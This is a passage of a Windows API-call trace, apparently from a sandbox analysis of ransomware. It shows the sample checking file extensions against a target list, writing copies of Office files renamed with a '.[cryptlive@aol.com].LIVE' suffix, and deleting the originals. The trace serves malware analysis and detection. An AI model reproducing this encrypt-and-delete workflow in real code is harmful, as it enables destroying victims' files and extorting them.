lpNumberOfBytesWritten=0x2d8fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0142.309] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.309] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x100, lpOverlapped=0x0) returned 1 [0142.309] SetEndOfFile (hFile=0x1ec) returned 1 [0142.309] CloseHandle (hObject=0x1ec) returned 1 [0142.309] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.309] SetEndOfFile (hFile=0x2f8) returned 1 [0142.311] CloseHandle (hObject=0x2f8) returned 1 [0142.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 1 [0142.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.312] lstrlenW (lpString=".doc") returned 4 [0142.312] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.312] lstrlenW (lpString=".docx") returned 5 [0142.312] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.313] lstrlenW (lpString=".pdf") returned 4 [0142.313] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.313] lstrlenW (lpString=".xls") returned 4 [0142.313] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.313] lstrlenW (lpString=".xlsx") returned 5 [0142.313] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.313] lstrlenW (lpString=".ppt") returned 4 [0142.313] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.313] lstrlenW (lpString=".zip") returned 4 [0142.313] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.313] lstrlenW (lpString=".rar") returned 4 [0142.313] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.313] lstrlenW (lpString=".bz2") returned 4 [0142.313] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.313] lstrlenW (lpString=".7z") returned 3 [0142.313] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.313] lstrlenW (lpString=".dbf") returned 4 [0142.313] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.313] lstrlenW (lpString=".1cd") returned 4 [0142.313] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.313] lstrlenW (lpString=".jpg") returned 4 [0142.313] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.313] lstrlenW (lpString=".doc") returned 4 [0142.313] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.313] lstrlenW (lpString=".docx") returned 5 [0142.313] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.313] lstrlenW (lpString=".pdf") returned 4 [0142.313] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.314] lstrlenW (lpString=".xls") returned 4 [0142.314] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.314] lstrlenW (lpString=".xlsx") returned 5 [0142.314] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.314] lstrlenW (lpString=".ppt") returned 4 [0142.314] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.314] lstrlenW (lpString=".zip") returned 4 [0142.314] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.314] lstrlenW (lpString=".rar") returned 4 [0142.314] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.314] lstrlenW (lpString=".bz2") returned 4 [0142.314] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.314] lstrlenW (lpString=".7z") returned 3 [0142.314] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.314] lstrlenW (lpString=".dbf") returned 4 [0142.314] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.314] lstrlenW (lpString=".1cd") returned 4 [0142.314] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0142.314] lstrlenW (lpString=".jpg") returned 4 [0142.315] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.315] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.315] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0142.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.315] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0142.315] CloseHandle (hObject=0x2f8) returned 1 [0142.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 0x20 [0142.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.316] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.316] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0142.317] GetLastError () returned 0x0 [0142.317] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0142.318] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.319] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.319] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x104, lpOverlapped=0x0) returned 1 [0142.319] SetEndOfFile (hFile=0x1ec) returned 1 [0142.319] CloseHandle (hObject=0x1ec) returned 1 [0142.319] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.319] SetEndOfFile (hFile=0x2f8) returned 1 [0142.321] CloseHandle (hObject=0x2f8) returned 1 [0142.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.322] lstrlenW (lpString=".doc") returned 4 [0142.322] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.322] lstrlenW (lpString=".docx") returned 5 [0142.323] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.323] lstrlenW (lpString=".pdf") returned 4 [0142.323] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString=".xls") returned 4 [0142.323] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString=".xlsx") returned 5 [0142.323] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.323] lstrlenW (lpString=".ppt") returned 4 [0142.323] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.323] lstrlenW (lpString=".zip") returned 4 [0142.323] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString=".rar") returned 4 [0142.323] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString=".bz2") returned 4 [0142.323] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.323] lstrlenW (lpString=".7z") returned 3 [0142.323] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.323] lstrlenW (lpString=".dbf") returned 4 [0142.323] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.323] lstrlenW (lpString=".1cd") returned 4 [0142.323] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.323] lstrlenW (lpString=".jpg") returned 4 [0142.323] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.323] lstrlenW (lpString=".doc") returned 4 [0142.323] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.323] lstrlenW (lpString=".docx") returned 5 [0142.323] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.323] lstrlenW (lpString=".pdf") returned 4 [0142.323] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.323] lstrlenW (lpString=".xls") returned 4 [0142.324] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.324] lstrlenW (lpString=".xlsx") returned 5 [0142.324] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.324] lstrlenW (lpString=".ppt") returned 4 [0142.324] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.324] lstrlenW (lpString=".zip") returned 4 [0142.324] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.324] lstrlenW (lpString=".rar") returned 4 [0142.324] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.324] lstrlenW (lpString=".bz2") returned 4 [0142.324] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.324] lstrlenW (lpString=".7z") returned 3 [0142.324] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.324] lstrlenW (lpString=".dbf") returned 4 [0142.324] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.324] lstrlenW (lpString=".1cd") returned 4 [0142.324] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0142.324] lstrlenW (lpString=".jpg") returned 4 [0142.324] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.324] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.324] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0142.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.325] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0142.325] CloseHandle (hObject=0x2f8) returned 1 [0142.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 0x20 [0142.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.325] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.325] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0142.326] GetLastError () returned 0x0 [0142.326] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0142.327] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.328] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.328] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x104, lpOverlapped=0x0) returned 1 [0142.328] SetEndOfFile (hFile=0x1ec) returned 1 [0142.328] CloseHandle (hObject=0x1ec) returned 1 [0142.328] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.328] SetEndOfFile (hFile=0x2f8) returned 1 [0142.331] CloseHandle (hObject=0x2f8) returned 1 [0142.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 1 [0142.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.332] lstrlenW (lpString=".doc") returned 4 [0142.332] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.332] lstrlenW (lpString=".docx") returned 5 [0142.332] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.332] lstrlenW (lpString=".pdf") returned 4 [0142.332] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.332] lstrlenW (lpString=".xls") returned 4 [0142.332] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.332] lstrlenW (lpString=".xlsx") returned 5 [0142.332] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.332] lstrlenW (lpString=".ppt") returned 4 [0142.332] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.332] lstrlenW (lpString=".zip") returned 4 [0142.332] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.332] lstrlenW (lpString=".rar") returned 4 [0142.332] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.332] lstrlenW (lpString=".bz2") returned 4 [0142.332] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.332] lstrlenW (lpString=".7z") returned 3 [0142.332] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.332] lstrlenW (lpString=".dbf") returned 4 [0142.332] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.332] lstrlenW (lpString=".1cd") returned 4 [0142.332] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString=".jpg") returned 4 [0142.333] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString=".doc") returned 4 [0142.333] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.333] lstrlenW (lpString=".docx") returned 5 [0142.333] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.333] lstrlenW (lpString=".pdf") returned 4 [0142.333] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.333] lstrlenW (lpString=".xls") returned 4 [0142.333] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.333] lstrlenW (lpString=".xlsx") returned 5 [0142.333] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.333] lstrlenW (lpString=".ppt") returned 4 [0142.333] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString=".zip") returned 4 [0142.333] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.333] lstrlenW (lpString=".rar") returned 4 [0142.333] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.333] lstrlenW (lpString=".bz2") returned 4 [0142.333] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.333] lstrlenW (lpString=".7z") returned 3 [0142.333] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString=".dbf") returned 4 [0142.333] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString=".1cd") returned 4 [0142.333] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0142.333] lstrlenW (lpString=".jpg") returned 4 [0142.333] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.334] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.334] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0142.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.334] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=636) returned 1 [0142.334] CloseHandle (hObject=0x2f8) returned 1 [0142.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 0x20 [0142.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.335] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.335] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0142.335] GetLastError () returned 0x0 [0142.335] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x27c, lpOverlapped=0x0) returned 1 [0142.648] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x280, lpOverlapped=0x0) returned 1 [0142.649] ReadFile (in: hFile=0x2f8, 